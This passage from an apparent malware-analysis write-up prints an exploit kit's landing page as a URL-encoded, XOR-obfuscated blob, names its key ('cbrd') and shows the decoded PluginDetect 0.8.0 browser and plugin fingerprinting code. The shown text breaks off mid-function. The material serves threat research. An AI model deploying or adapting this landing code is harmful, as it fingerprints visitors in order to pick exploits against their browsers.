%07%17%0A%0D%1CL%04Nx%0CJNS%0CEDCY%5E%01%5C%2B0DTL%17%0A%1B%17M%12%1E%11%04%0B%1C%2C%02%11%3F%0D%0E%07%26%1D%13%07Z%03O%40%13%14%13%0E%1B%07%02%16%1B%0B%0DM%0
4%0A%07L%13%0C%17J%13%06%14%1C%0E%0EPHA%23%16%0B%01%07%5CN3%264JI2%1E%11%04OM%0D%0D%1E3%0C%17JI%23%11%16%0C%13%10MH%22%08%16%05_%5B%0A%0C%0E%25%07
%0D%10%01MH%20%01%02%06%17%16MH%22%08%16%05_%5B%0A%0CPM%5C%0AOFZ%40H%10%0B%0B%01J%13%0E%07%03%0A%0C%3A%05%10%2F%1B%09%066%0B%14%06J%15HA%03%02%14%0F%0B%11%05%17%
0B%1D%0AL%14%1CM%03%16%0B%01%07%5C%1CN%0F%13%16%10%40%5EF%22%06%1D%06%06LX4%27%24%5CN3%0E%07%03N%5D%1B%0A%1F%23%16%0B%01%07%5CN%22%01%0B%01%03%06JI2%1E%11%
04OM%0D%0D%1E3%0C%17JI0%17%05%07%07JI2%1E%11%04OM%0D%0D%40%5BBEJ%1AYAZPMJK%5B%5E%0B_%06%0C%0A%11%5C%12%06%10%01%0D%0C%0C%5E%07M%0B%01%20%06%04%1B%0A%06%
06Z%02J%1E%0EL%05_%11J%04%07%06%29%0A%0F%17%21%0D%03%10%08%06%06%22%08%16%05%1B%0AK%08%5EF%22%06%1D%06%06LX4%27%24%5CN3%0E%07%03N%5D%1B%0A%1F%23%16%0B%01%07%5CN%
22%01%0B%01%03%06JI2%1E%11%04OM%0D%0D%1E3%0C%17JI0%17%05%07%07JI2%1E%11%04OM%0D%0D%40%5BMO%16%1A%0D%10L%1B%0A%10%16%13%08%0F%07%16Y%05DT%0C%5CSH%02%5
CRH%10%0B%0B%01J%0D%03%044%0F%17%15%0D%0D-%10%0E%5COBJQX_UX%16%1A%0D%10L%04%01%11%11%1B%0B%0D%1E%0EL%17%0A%1B%17M%14%17%16%10%0B%1D%0A%5Eh%11J%05%0D%09%02%16%
3C%11%0EJ%1AMJY%06%0C%0A%11%5C--1%26%25%2F.7%208%08%2FY%17%0A%1B%17M%0B%1C%17%17%03%1E%08%06%06%0F%19%1EN%01%02%0E%02%08%02%1B%17%16Y%19%1F%0D%0E%07%26%1D%13%
07H%3FA%03%07%0A%0D%5D%1CN%12%1CI%11%07%13%08%02%17%16%0D%0CO%02%08%16%05%1B%0AA%3F%5E%14%11%0D%15-%27X%29F%11%0F%1D%07%1BL%20%01%02%0E%22%08%02%1B%17%16C%25%
40D%20%0D%1C%10%11%0D%1EFO%40%09%0C%01%0AJ1%07%13%083%0E%13%1D%06%10R%23QB1%0B%0D%16%0B%0FLCFO%40%20%01%02%0E%22%08%02%1B%17%16M0%17%05%0F2%1E%05%1A%07L
%17%0F%5BD%22%01%06%0D%15%07%2AD%20%0D%1C%10%11%0D%1EDKQ%40I%01%0B%06MANP6%06%03%1E2%0A%06%17%0BM0%17%05%0F4%1B%06%0DZ%10%0EKR%25%16%1B%12%06%3AR%27%0C%0C%
06%16%0C%0ERLPP_%06%0A%16%5BFO%40%20%01%02%0E%22%08%02%1B%17%16A%3F%5E%07%0F%03%01%17%2A%26HF%0E%01%0D%07X1%22%20%263%25SQ_%5C%21%27FIRS%11%02N%20JP%21OBTQR3%
22%21%201%27%25%23PH%2A%2C%210%22.%3E%21%27X%09%19O%13C%5E89CUOR%5ET%3EN%29%5DZ%5B%2FH8TDW%3EN%29RUQ%2FH8TDW%3EN%29RUR%2FH8VD%5C%3EN%29PUZ%2FH8VD%5C%3EN%29PUZ%2F
H8VD%5C%3EN%29PUZ%2FH8VAU%3EN%29PPS%2FH8VAU%3EN%29WTP%2FH8SJT%3EN%29U%5BR%2FH8SEV%3EN%29UTP%2FH8SDS%3EN%29URV%2FH8R%2F9Oh%03WY9%29ROR%2FH8S%40HZ%5B%2FH8S%40HU%5B
%2FH8S%40HU%5B%2FH8S%40HU%5B%2FH8S%40HU%5B%2FH8S%40HU%5B%2FH8S%40HU%5B%2FH8S%40HU%5B%2FH8S%40HU%5B%2FH8S%40HU%5B%2FH8S%40HU%5B%2FH8S%40HWT%2FH8S%40HWT%2FH8S%40HW
T%2FH8SCHPRBR%3EN%29URN%40%5CST%2FH8SCHQZBR%3EN%29URN%40%5CSV%2FH8SCHQZBP%3EN%29URN%40SZ%5B%2FH8SCHQUF%5D%3EN%29URN%40SSR%2F9O%01%1D%09%13%03%01Y%04%07%0A%
16%1B%0B%0DJ%13H%01K%09%12%02%10R%07O%06O%05M%0E%17%0A%04%16%1AH%06_%10J%0F%07%1C%03%17%0A%5E%02O%05I%02%0C%10Z%07%5ERI%07_%2F%13%10%0BL%1F%05%1BJ%16H%06KI%07HI%
5B%1F%05_%11X%07%5D%13%3F%3FHTX%05O%07_%07M%068%01%2F%5ESY%1B%02K%04L%03J%10%17%10%16%10%1CDRY%1B%02K%04N%03J%10%17%10%16%10%1CIR%1F%01%17%17%0ACR%0FH%0
0%0D%1C%12%06%10%06%2A%16%0FH%02%16%0C%11%10%0A%0D%1CL%02N%10HK%09%12%02%10R%5E%16%1A%0D%10LVH%06Y%1B%02KC%13%18%1FCZ%01%5E%06%5C%02%0C%10%1F%05%17%2C%07%0
9K%03%5BMJ%10%17%10%16%10%1CD%0D%17%1E%08X%07O%01M%11%02%08%0A%16ZM%11%02%08%0A%16%3C%11%0E0%17%03%1BKI%02%0C%10Z%05%5ERI%05_%07%5C%08%06%0C%15%10%0BY%13OHK%1
7%3F%02%3FO%14%02%10%01%01%2A%0C%06L%069%139OhCTJY%1B%02KRSY%17%0A%1B%17M%01%1D%09%13%03%01K%07%5C%17%0F%0B%11%01KR%5E%29%02%16%1AJ%0E%0B%1CL%019B9M%0E%17%0A%
04%16%1AH%06L%1E%01%0D%05%06%0CJK%5E%068R%2FMJ%10%17%10%16%10%1CD%0D%17%1E%08X%07O%01M%0E%17%0A%04%16%1AZ%019B9M%0E%17%0A%04%16%1A%5B%06L%01%08%0A%01%17L%019B9M%
0E%17%0A%04%16%1AMY9%2F_%0A%04ZT_%16%1A%0D%10L%11%0B%0E%12%13%16%06J%17H%019C9J%1E%0ET%5D%16%1A%0D%10L%11%0B%0E%12%13%16%06J%17H%019%10J%0F%07%1C%03%17%0A_U%3EK%
5B%16%06%16%07%16%0DB%1C%11%0F%0EI%02%0C%10Z%05%5E%5C%08%06%0C%15%10%0BOC_R%5EO%05EDCE%5E%03TBBJBY%5E%16%1A%0D%10L%11%0B%0E%12%13%16%06J%10%3F%02%3F%5E%01JDTT
%5E_%06%0C%0A%11%5C%07%0C%0F%02%05%11%07Z%068%03%2FH%019%13IR%3F%5BMEDSLS%5EO%10%0B%0B%01J%0D%1F%14%02%10%17L%06N%10%3F%02%3F%5BBERL%10%0B%0B%01J%0D%1F%14%
02%10%17L%06N%10%3F%02OC9JKI%05NO%5B_%11%07%06%11%11%0CR%078R%2FJ%09%0D%1B%0AK%40%5CFJIPJAI%11%3F%02%3F%5C%0E%0C%0B%1CLALPM%1EN%15%01%174%17%16%10%0B%1D%0AY%04%0
7%0A%16%1B%0B%0DJ%13H%01K%09%12%02%10R%07%5E%0C%07%08%0FN%16YSN%17YSN%14Y%17%0A%1B%17MF%5E%03O%0AO%10%0B%0B%01J%0E%0B%1F%017%1B%02%018R%2F_%05L%1B%170%16%0
D%0D%05Z%06J%5DZ%06%5E%5C%16%06%12%1E%05%07ZK%3F%11%5D%03O%40PMJDTnK%0AO%06JX%10Y%0D%17%1E%08X%0B%14L%05L%1B%17%27%07%14%0D%0D%07%16L%17%0A%1B%17M%2B%3C77%
23%3E%28%26%26%29%0C%3EK%5B%10%0B%0B%01J%0A%0C%01%10%02%0E%1E%01%07_%06%0C%0A%11%5C--1%26%25%2F.7%208%0A%2F_%06%0E%01%01%18%0B%14L%05L%1B%17%2A%27%5B%1F%05%0D
L%07_B_%07%5E%06%0C%0A%11%5C%14%11%0D%15-%27L%1E%01%0D%05%06%0CX%06YOJ%0B%14L%04_%14J%04%07%06%25%3B-Z%10%0B%0B%01J%13%10%1D%03%2A%26%29%3EK%5B%10%11%1B%09%07
%5E%04%5C%03%06%16%3C%11%0EJ%15J%24%07%062%06%10%01%0D%0C%0C%3B%0A%05%0DZMJY%10%16%06%03%19%19%03%06%07%0BJ%18M%18%1F%06%0C%0A%11%5C%0D%0D%11%06%05%0F%0E%17%0
0%5E%01MUYOC%19%06%0E%01%01%18%05O%02M%0A%13%17.%0B%1F%017%1B%02%01K%16%1A%0D%10L%1F%0D%0E%07%26%1D%13%07%5B_%15%03D%08_%14J%05%0B%1C-%03%044%0F%17%15%0D%0
DJP6%06%03%1E4%0F%03%0B%01%11LX4%0F%17%15I%5C%0B%1CFOR%5B_%04DT%0FEDZ%5ES%5E%01%5EM%02M%05%17%10.%0B%1F%01%26%0C%13%06%0F%07%164%0F%17%15%0D%0DJ%10HA0%17%0
5%0F2%1E%05%1A%07JI2%1E%11%04OM%0D%0D%40%5B%5BRXB%5ERKI%0D%05JBE%5E_%06%0C%0A%11%5C%03%06%16%24%01%11%11%1B%0B%0D%26%1D%0A%06K%09%0D%05J%06%0C%0A%11%5C%03%06%
16%24%01%11%11%1B%0B%0D%26%1D%0A%06_BH%04K%09%12%02%10R%0F%5ES%5E%08%5E%0C%07%08%0FN%1FY%0D%17%1E%08XJ%15Y%05L%1A%05%10%2F%1B%09%066%0B%14%06JP%05%13%12%1E%0D
%03%06%0D%0C%0C%5D%12%0D%06%5C%16%0DO%01%02%0E%02%08%02%1B%17%16N%08%13%12%02%11%11%16%0A%12%06FJKTBiJ%1EY%05L%14%0B%11%0F%13%10-%17%1FL%05L%15%01%17%2C%07%09
K%05%5C%01%0D%03%10%08%06%06%22%08%16%05%1B%0AM%06%17%17%10%1B%14%17%0B%1D%0AJK%5B_R_O%02M-%21BE%0ETBK%05O%08M%11%02%08%0A%16Z%02M%11%02%08%0A%16%3C%11%0E0%17
%03%1BK%5E%09%5ECBHS%5C%06%0C%0A%11%5C%07%0C%0F%02%05%11%07Z%03O9DHSNCVOPBT%3EKM%09%5ECC%5ES%5CO%10%0B%0B%01J%0D%1F%14%02%10%17L%04N%29ROR%5EUQNCSP%5B%2FMEDBX
%5E%16%1A%0D%10L%11%0B%0E%12%13%16%06J%15H8T%5ETOS%40H%5BWE9JDTL%0E_SUJKIER_OY%0EDTL%08_BMXPLY%05L%3D7%5CJ%14J%0A%115%01%09%1DBERL%02M%01%1D%09%13%03%01-%1
7%1F%17K%04%5C%12%06%105%01%09%1DH%05L%14%0B%11%0F%13%10-%17%1FLAS%5E%5CAK%5BBEJ%19YSK%5E%02M%0B%01%27%0B%10%1D%09%06DTL%08_BMO%04%5C%0D%10-%02%01%11%03TBRRL%
02M%14%17%16%2C%12%17%16%02DTL%08_BMJX%19YSY%1B%02K%09%5B%1F%04_%14J%27-%3FJ%0A%0C%01%01%11%16ZF%0C%18%01%16PH8%40%06%1D%13%07PH%17%0A%1B%17M%0F%1B%09%066%
0B%14%069B9%3ENP%17%11%01RD%02%17%06%0B%10%16%13%16%17B%14%05%0F%11%17D%0A%0F%13%03%06%11%06%05%17%17%01D%05%03%1E%17%06B%11%0B%0D%16%0B%0F%11R%17%17%0D%02%06
%16%16%06%0B%0D%40%5C%17%13%0E%1B%10K%40RFJNPFO%16%1A%0D%10K%5C%0B%01%08ZMX%16%1D%18%01On%05L%15%01%17%2C%07%09K%05%5C%23%06%16%24%01%11%11%1B%0B%0D%2B%1C%02%
0CJ%5BM%1E%01%13%10%0AZ%0AJ%19%0F%02M%26%3D%29M%11%17%100%16%0B%08%06J%15H8%40%16%0D%10%12%1E%05%1A%40%5EF%0D%0D%1C%01A%3F%5B%19B%01TBK%0ETBBSOY%5E%0F%5BBEJ%1
1YK%05O%10%0B%0B%01J%0D%1C%12%06%10%06%2A%16%0FZ%08O%16%1A%0D%10L%03WO%16%1A%0D%10L%03UJKM%03Y%0E%5B%19%1E%07%1E%17%06B%11Y%17%0A%1B%17M%14%17%16%10%0B%1D%0AX
%16%1A%0D%10L%1B%0A%10%16%13%08%0F%07%16Y%07DT%01ED%11%5BRX%16BE%07MTY%06MISL%40%5ENS%0F%10%0B%0B%01J%15%07%17%0A%0D%1C%18%1FJ%06%0C%0A%11%5C%12%06%10%01%0D%0
C%0CO%02M%04%1D%16%0E%03%06%2A%16%0FZ%07JKI%10%0B%0B%01J%2A%2C%210%22.%3E%21%279%1A9%5E%16%1A%0D%10L%1B%0A%10%16%13%08%0F%07%16%19%1E%1F%5E%1E%19XB%19%1EY%22%08%
16%05%1B%0A%27%07%06%01%16%5C%0D%0D%0B%067%10%1B%14%17J%5B_i%5E%5D%17%10%1B%14%17%5Cxni%5E%01%07%11%0B%02%10%5Dh%14%11%0D%01%06%0D%0C%0CR%16%06%13Z%05O%
00%5E%07O%04%5E%0FJ%19%04%05%11B%1EY3%0E%07%03%0A%0C6%01%17%07%11%10M%05%17%105%07%17%0A%0D%1CH%07_%299O%07O%3F%18%03%16%0B%01%07-%16%06%03%16%01%11XP%25%07%0
D%10%011%07%13%06%10P%19O%19%18%05%15%03HF%29%03%04%05A%1F%5E%1F%05%0E%13%17%0BXP%22%0F%03%01%0CA%1F%5E%1F%12%17%1B%07%08%3D%06%0D%0E%07HF2%17%1B%07%086%1B%09
%06%40%0FH%18%10%17%05%0F%3D%02%08%02%1B%17%16Y%40%20%01%02%0E%22%08%02%1B%17%16A%1F%5E%1F%10%0A%1D%07%08%15%13%12%06XP7%0B%0D%11%0F%14%03%04%01A%1F%5E%1F%10%0B%
1E%12%06%10-%08%0A%05%1A%10Y%40%21%0D%0F%14%17%16%0F%0B%15%0C%17%40%0FH%18%14%1E%07Y%40%24%28%20%40%0FH%18%15%1F%14Y%40%25%293%40%0F9X%06%5C%14%16%11%1ALA%0A%1B%
00YXHFH%03%5B_%05%0DL%15%03D%04B%1B%0AC%07%5B%02%0C%10Z%12%02%10R%0CC%0B%1CD%069%159J%06%5C%14%16%11%1AL%0BIP%5EYXPO%0FJ%17%3F%04%3F%29%0C%3EK%5B_%07L%02%1
1%10%0AZF%0C%04%14%0D%07H%5EY%40Y%0B%05%04%1B%07%06%3D%04%01%11J%5BMX%03O%1F%1EY%13%3F%05%3FO%07X%03%29%0F%3E_%17%0A%0D%16%0160%3B%27%0C%0F%02%0B%0D%07%1C%
10K%1A%1D%16K%06%5C%0E%0C%0B%1CLAYI_AK%5E%07JKI%40M%12%1D%17%17J%10H%02N%14%11%0D%01%06%0D%0C%0CZ%05O%5B%1FGJP%06%0C%06%0BFJL%13%14%13%07%1CK%1A%1D%16K%06%
17%07%0C%06%1711%2B1%0B%0E%12%1D%0A%06%0C%06L%02K%5E%07JK%0FM%1Eh%14%11%0D%01%06%0D%0C%0CR%0B%05%04%1B%07%06%3D%04%01%11J%5B%1F%15%03D%02_BH%01_B_%17%10%0B%1F
%02_%1C%01%14B3%07%17%0B%04%01%3B-%10%0E%06%01%06LA1%1A%05%11%07%22%0B%0A%0C%06J%2C%12%17%0A%27%0D%11%11%0E%07%1C%10%10LFFJ%1F%11%05%17%01%1ALK%09%19%17%10%0B
%1F%01_%1C%01%14B3%07%17%0B%04%01%3B-%10%0E%06%01%06LA1%1A%05%11%07%22%0B%0A%0C%06J%2C%12%17%0A%27%0D%11%11%0E%07%1C%10%10LAFJ%1F%11%05%17%01%1AL%05K%09%19%11%07
%06%11%11%0CP%0B%01%08%17%07%17%40OY%17%1B%02%01%0C%04R%05EDP%0B%01%08%17%07%17%40OY%17%1B%02%01%0C%04R%06%5C%40%40TRRP%5EA%0C%07%09%01%07F%5E_%06%1D%13%07%1D
%02C%03TBA%0D%10%0E%06%01%06F%5E_%06%1D%13%07%1D%02CMFQRBSAX%1C%11%0F%0E%0F_ChNK%10%01%0D%13%16Ln

Well as we knew from the JS code above URLEncoded and xored. So to the task. Please note the xor key for this one in clear text in the first step of the landing: "cbrd"

The rest of the landing decoded and beautified:

< script >
var PluginDetect = {
    version: "0.8.0",
    name: "PluginDetect",
    openTag: "<",
    isDefined: function(a) {
        return "undefined" != typeof a
    },
    isArray: function(a) {
        return /array/i.test(Object.prototype.toString.call(a))
    },
    isFunc: function(a) {
        return "function" == typeof a
    },
    isString: function(a) {
        return "string" == typeof a
    },
    isNum: function(a) {
        return "number" == typeof a
    },
    isStrNum: function(a) {
        return "string" == typeof a && /\d/.test(a)
    },
    getNumRegx: /[\d][\d\.\_,-]*/,
    splitNumRegx: /[\.\_,-]/g,
    getNum: function(a, b) {
        var c = this.isStrNum(a) ? (this.isDefined(b) ? RegExp(b) : this.getNumRegx).exec(a) : null;
        return c ? c[0] : null
    },
    compareNums: function(a, b, c) {
        var d = parseInt;
        if (this.isStrNum(a) && this.isStrNum(b)) {
            if (this.isDefined(c) && c.compareNums) return c.compareNums(a, b);
            a = a.split(this.splitNumRegx);
            b = b.split(this.splitNumRegx);
            for (c = 0; c < Math.min(a.length, b.length); c++) {
                if (d(a[c], 10) > d(b[c], 10)) return 1;
                if (d(a[c], 10) < d(b[c], 10)) return -1
            }
        }
        return 0
    },
    formatNum: function(a, b) {
        var c, d;
        if (!this.isStrNum(a)) return null;
        this.isNum(b) || (b = 4);
        b--;
        d = a.replace(/\s/g, "").split(this.splitNumRegx).concat(["0", "0", "0", "0"]);
        for (c = 0; 4 > c; c++) if (/^(0+)(.+)$/.test(d[c]) && (d[c] = RegExp.$2), c > b || !/\d/.test(d[c])) d[c] = "0";
        return d.slice(0, 4).join(",")
    },
    $$hasMimeType: function(a) {
        return function(b) {
            if (!a.isIE && b) {
                var c, d, e = a.isArray(b) ? b : a.isString(b) ? [b] : [];
                for (d = 0; d < e.length; d++) if (a.isString(e[d]) && /[^\s]/.test(e[d]) && (c = (b = navigator.mimeTypes[e[d]]) ? b.enabledPlugin : 0) && (c.na
me || c.description)) return b
            }
            return null
        }
    },
    getPROP: function(a, b, c) {
        try {
            a && (c = a[b])
        } catch (d) {}
        return c
    },
    isEnabled: {
        $: 1,
        IEPluginSecurityPopup: function() {
            var a = this.$;
            return a.isIE && 7 <= a.verIE ? 1 : 0
        },
        objectProperty: function(a) {
            var b = this.$,
                c = 0;
            b.isIE && 7 <= b.verIE && (a = b.getPROP(a, "object"), b.isDefined(a) && (c = a ? 1 : -1));
            return c
        }
    },
    findNavPlugin: function(a, b, c) {
        a = RegExp(a, "i");
        b = !this.isDefined(b) || b ? /\d/ : 0;
        c = c ? RegExp(c, "i") : 0;
        var d = navigator.plugins,
            e, f, g;
        for (e = 0; e < d.length; e++) if (g = d[e].description || "", f = d[e].name || "", a.test(g) && (!b || b.test(RegExp.leftContext + RegExp.rightContext))
 || a.test(f) && (!b || b.test(RegExp.leftContext + RegExp.rightContext))) if (!c || !c.test(g) && !c.test(f)) return d[e];
        return null
    },
    getMimeEnabledPlugin: function(a, b, c) {
        var d;
        b = RegExp(b, "i");
        c = c ? RegExp(c, "i") : 0;
        var e, f, g = this.isString(a) ? [a] : a;
        for (f = 0; f < g.length; f++) if ((d = this.hasMimeType(g[f])) && (d = d.enabledPlugin)) if (e = d.description || "", a = d.name || "", b.test(e) || b.t
est(a)) if (!c || !c.test(e) && !c.test(a)) return d;
        return 0
    },
    init: function(a) {
        var b, c = {
            status: -3,
            plugin: 0
        };
        if (!this.isString(a)) return c;
        if (1 == a.length) return this.getVersionDelimiter = a, c;
        a = a.toLowerCase().replace(/\s/g, "");
        b = this.Plugins[a];
        if (!b || !b.getVersion) return c;
        c.plugin = b;
        this.isDefined(b.installed) || (b.installed = null, b.version = null, b.version0 = null, b.getVersionDone = null, b.pluginName = a);
        if (this.isIE && !this.ActiveXEnabled && "java" !== a) return c.status = -2, c;
        c.status = 1;
        return c
    },
    getPluginFileVersion: function(a, b) {
        var c, d, e, f, g = -1;
        if (2 < this.OS || !a || !a.version || !(c = this.getNum(a.version))) return b;
        if (!b) return c;
        c = this.formatNum(c);
        b = this.formatNum(b);
        d = b.split(this.splitNumRegx);
        e = c.split(this.splitNumRegx);
        for (f = 0; f < d.length; f++) if (-1 < g && f > g && "0" != d[f] || e[f] != d[f] && (-1 == g && (g = f), "0" != d[f])) return b;
        return c
    },
    AXO: window.ActiveXObject,
    getAXO: function(a) {
        var b = null;
        try {
            b = new this.AXO(a)
        } catch (c) {}
        return b
    },
    convertFuncs: function(a) {
        var b, c, d = /^[\$][\$]/;
        for (b in a) if (d.test(b)) try {
            c = b.slice(2), 0 < c.length && !a[c] && (a[c] = a[b](a), delete a[b])
        } catch (e) {}
    },
    initObj: function(a, b, c) {
        var d;
        if (a) {
            if (1 == a[b[0]] || c) for (d = 0; d < b.length; d += 2) a[b[d]] = b[d + 1];
            for (d in a)(c = a[d]) && 1 == c[b[0]] && this.initObj(c, b)
        }
    },
    initScript: function() {
        var a = navigator,
            b, c = document,
            d = a.userAgent || "",
            e = a.vendor || "",
            f = a.platform || "",
            a = a.product || "";
        this.initObj(this, ["$", this]);
        for (b in this.Plugins) this.Plugins[b] && this.initObj(this.Plugins[b], ["$", this, "$$", this.Plugins[b]], 1);
        this.convertFuncs(this);
        this.OS = 100;
        if (f) {
            var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*P
C", 22.3, "", 100];
            for (b = g.length - 2; 0 <= b; b -= 2) if (g[b] && RegExp(g[b], "i").test(f)) {
                this.OS = g[b + 1];
                break
            }
        }
        this.head = c.getElementsByTagName("head")[0] || c.getElementsByTagName("body")[0] || c.body || null;
        this.verIE = (this.isIE = eval("/*@cc_on!@*/!1")) ? /MSIE\s*(\d+\.?\d*)/i.test(d) ? parseFloat(RegExp.$1, 10) : 7 : null;
        this.docModeIE = this.verIEfull = null;
        if (this.isIE) {
            b = document.createElement("div");
            try {
                b.style.behavior = "url(#default#clientcaps)", this.verIEfull = b.getComponentVersion("{89820200-ECBD-11CF-8B85-00AA005B4383}", "componentid").re
place(/,/g, ".")
            } catch (h) {}
            b = parseFloat(this.verIEfull || "0", 10);
            this.docModeIE = c.documentMode || (/back/i.test(c.compatMode || "") ? 5 : b) || this.verIE;
            this.verIE = b || this.docModeIE
        }
        this.ActiveXEnabled = !1;
        if (this.isIE) {
            c = "Msxml2.XMLHTTP Msxml2.DOMDocument Microsoft.XMLDOM ShockwaveFlash.ShockwaveFlash TDCCtl.TDCCtl Shell.UIHelper Scripting.Dictionary wmplayer.ocx"
.split(" ");
            for (b = 0; b < c.length; b++) if (this.getAXO(c[b])) {
                this.ActiveXEnabled = !0;
                break
            }
            d = ""
        }
        this.verGecko = (this.isGecko = /Gecko/i.test(a) && /Gecko\s*\/\s*\d/i.test(d)) ? this.formatNum(/rv\s*\:\s*([\.\,\d]+)/i.test(d) ? RegExp.$1 : "0.9") : 
null;
        this.verChrome = (this.isChrome = /Chrome\s*\/\s*(\d[\d\.]*)/i.test(d)) ? this.formatNum(RegExp.$1) : null;
        this.verSafari = (this.isSafari = (/Apple/i.test(e) || !e && !this.isChrome) && /Safari\s*\/\s*(\d[\d\.]*)/i.test(d)) && /Version\s*\/\s*(\d[\d\.]*)/i.te
st(d) ? this.formatNum(RegExp.$1) : null;
        this.verOpera = (this.isOpera = /Opera\s*[\/]?\s*(\d+\.?\d*)/i.test(d)) && (/Version\s*\/\s*(\d+\.?\d*)/i.test(d) || 1) ? parseFloat(RegExp.$1, 10) : nul
l;
        this.addWinEvent("load", this.handler(this.runWLfuncs, this))
    },
    handler: function(a, b, c) {
        return function() {
            a(b, c)
        }
    },
    fPush: function(a, b) {
        this.isArray(b) && (this.isFunc(a) || this.isArray(a) && 0 < a.length && this.isFunc(a[0])) && b.push(a)
    },
    callArray: function(a) {
        var b, c;
        if (this.isArray(a)) {
            c = [].concat(a);
            for (b = 0; b < c.length; b++) this.call(c[b]), a.splice(0, 1)
        }
    },
    call: function(a) {
        var b = this.isArray(a) ? a.length : -1;
        if (0 < b && this.isFunc(a[0])) a[0](this, 1 < b ? a[1] : 0, 2 < b ? a[2] : 0, 3 < b ? a[3] : 0);
        else this.isFunc(a) && a(this)
    },
    $$isMinVersion: function(a) {
        return function(b, c, d, e) {
            var f = a.init(b);
            b = -1;
            if (0 > f.status) return f.status;
            f = f.plugin;
            c = a.formatNum(a.isNum(c) ? c.toString() : a.isStrNum(c) ? a.getNum(c) : "0");
            1 != f.getVersionDone && (f.getVersion(c, d, e), null === f.getVersionDone && (f.getVersionDone = 1));
            null !== f.installed && (b = 0.5 >= f.installed ? f.installed : 0.7 == f.installed ? 1 : null === f.version ? 0 : 0 <= a.compareNums(f.version, c, f)
 ? 1 : -0.1);
            return b
        }
    },
    getVersionDelimiter: ",",
    $$getVersion: function(a) {
        return function(b, c, d) {
            b = a.init(b);
            if (0 > b.status) return null;
            b = b.plugin;
            1 != b.getVersionDone && (b.getVersion(null, c, d), null === b.getVersionDone && (b.getVersionDone = 1));
            return c = (c = b.version || b.version0) ? c.replace(a.splitNumRegx, a.getVersionDelimiter) : c
        }
    },
    $$getInfo: function(a) {
        return function(b, c, d) {
            var e = {},
                f = a.init(b);
            if (0 > f.status) return e;
            f = f.plugin;
            f.getInfo && (null === f.getVersionDone && (a.getVersion ? a.getVersion(b, c, d) : a.isMinVersion(b, "0", c, d)), e = f.getInfo());
            return e
        }
    },
    codebase: {
        $: 1,
        isDisabled: function() {
            var a = this.$;
            return a.ActiveXEnabled && a.isIE && 7 <= a.verIE ? 0 : 1
        },
        checkGarbage: function(a) {
            var b = this.$;
            return b.isIE && (a && 0 < b.isEnabled.objectProperty(a.firstChild)) && (a = b.getPROP(a.firstChild, "readyState"), b.isNum(a) && 4 != a) ? this.garb
age = 1 : 0
        },
        emptyGarbage: function() {
            if (this.$.isIE && this.garbage) {
                try {
                    window.CollectGarbage()
                } catch (a) {}
                this.garbage = 0
            }
        },
        init: function(a) {
            if (!a.init) {
                var b = this.$,
                    c;
                a.init = 1;
                a.min = 0;
                a.max = 0;
                a.hasRun = 0;
                a.version = null;
                a.L = 0;
                a.altHTML = "";
                a.span = document.createElement("span");
                a.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
                a.tagB = '" classid="' + a.$$.classID + '">' + a.ParamTags + a.altHTML + b.openTag + "/object>";
                for (c = 0; c < a.Lower.length; c++) a.Lower[c] = b.formatNum(a.Lower[c]), a.Upper[c] = b.formatNum(a.Upper[c])
            }
        },
        isActiveXObject: function(a, b) {
            var c = this.$,
                d = 0,
                e = a.$$,
                f = a.span;
            if (a.min && 0 >= c.compareNums(b, a.min)) return 1;
            if (a.max && 0 <= c.compareNums(b, a.max)) return 0;
            e.BIfuncs && e.BIfuncs.length && c.callArray(e.BIfuncs);
            f.innerHTML = a.tagA + b + a.tagB;
            0 < c.isEnabled.objectProperty(f.firstChild) && (d = 1);
            this.checkGarbage(f);
            f.innerHTML = "";
            d ? a.min = b : a.max = b;
            return d
        },
        convert_: function(a, b, c, d) {
            b = a.convert[b];
            a = a.$;
            return b ? a.isFunc(b) ? a.formatNum(b(c.split(a.splitNumRegx), d).join(",")) : c : b
        },
        convert: function(a, b, c) {
            var d = a.$,
                e, f, g;
            b = d.formatNum(b);
            f = {
                v: b,
                x: -1
            };
            if (b) for (e = 0; e < a.Lower.length; e++) if ((g = this.convert_(a, e, a.Lower[e])) && 0 <= d.compareNums(b, c ? g : a.Lower[e]) && (!e || 0 > d.co
mpareNums(b, c ? this.convert_(a, e, a.Upper[e]) : a.Upper[e]))) {
                f.v = this.convert_(a, e, b, c);
                f.x = e;
                break
            }
            return f
        },
        isMin: function(a, b) {
            var c = a.$,
                d, e = 0;
            this.init(a);
            if (!c.isStrNum(b) || this.isDisabled()) return e;
            if (!a.L) {
                a.L = {};
                for (d = 0; d < a.Lower.length; d++) if (this.isActiveXObject(a, a.Lower[d])) {
                    a.L = this.convert(a, a.Lower[d]);
                    break
                }
            }
            a.L.v && (d = this.convert(a, b, 1), 0 <= d.x && (e = (a.L.x == d.x ? this.isActiveXObject(a, d.v) : 0 >= c.compareNums(b, a.L.v)) ? 1 : -1));
            return e
        },
        search: function(a) {
            var b = this,
                c = b.$,
                d = 0,
                e;
            b.init(a);
            e = a.hasRun || b.isDisabled() ? 1 : 0;
            a.hasRun = 1;
            if (e) return a.version;
            var f, g = function(c, e) {
                    var f = [].concat(l);
                    f[c] = e;
                    (f = b.isActiveXObject(a, f.join(","))) ? (d = 1, l[c] = e) : m[c] = e;
                    return f
                },
                h = a.DIGITMAX,
                j, k, l = [0, 0, 0, 0],
                m = [0, 0, 0, 0];
            for (e = 0; e < m.length; e++) {
                l[e] = a.DIGITMIN[e] || 0;
                j = l.join(",");
                k = l.slice(0, e).concat([9999999, 9999999, 9999999, 9999999]).slice(0, l.length).join(",");
                for (f = 0; f < h.length; f++) c.isArray(h[f]) && (h[f].push(0), h[f][e] > m[e] && (0 <= c.compareNums(k, a.Lower[f]) && 0 > c.compareNums(j, a.U
pper[f])) && (m[e] = h[f][e]));
                for (f = 0; 20 > f; f++) {
                    if (16 >= m[e] - l[e]) {
                        for (f = m[e]; f >= l[e] + (e ? 1 : 0) && !g(e, f); f--);
                        break
                    }
                    g(e, Math.round((m[e] + l[e]) / 2))
                }
                if (!d) break;
                m[e] = l[e]
            }
            d && (a.version = b.convert(a, l.join(",")).v);
            return a.version
        }
    },
    addWinEvent: function(a, b) {
        var c = window,
            d;
        this.isFunc(b) && (c.addEventListener ? c.addEventListener(a, b, !1) : c.attachEvent ? c.attachEvent("on" + a, b) : (d = c["on" + a], c["on" + a] = this.
winHandler(b, d)))
    },
    winHandler: function(a, b) {
        return function() {
            a();
            "function" == typeof b && b()
        }
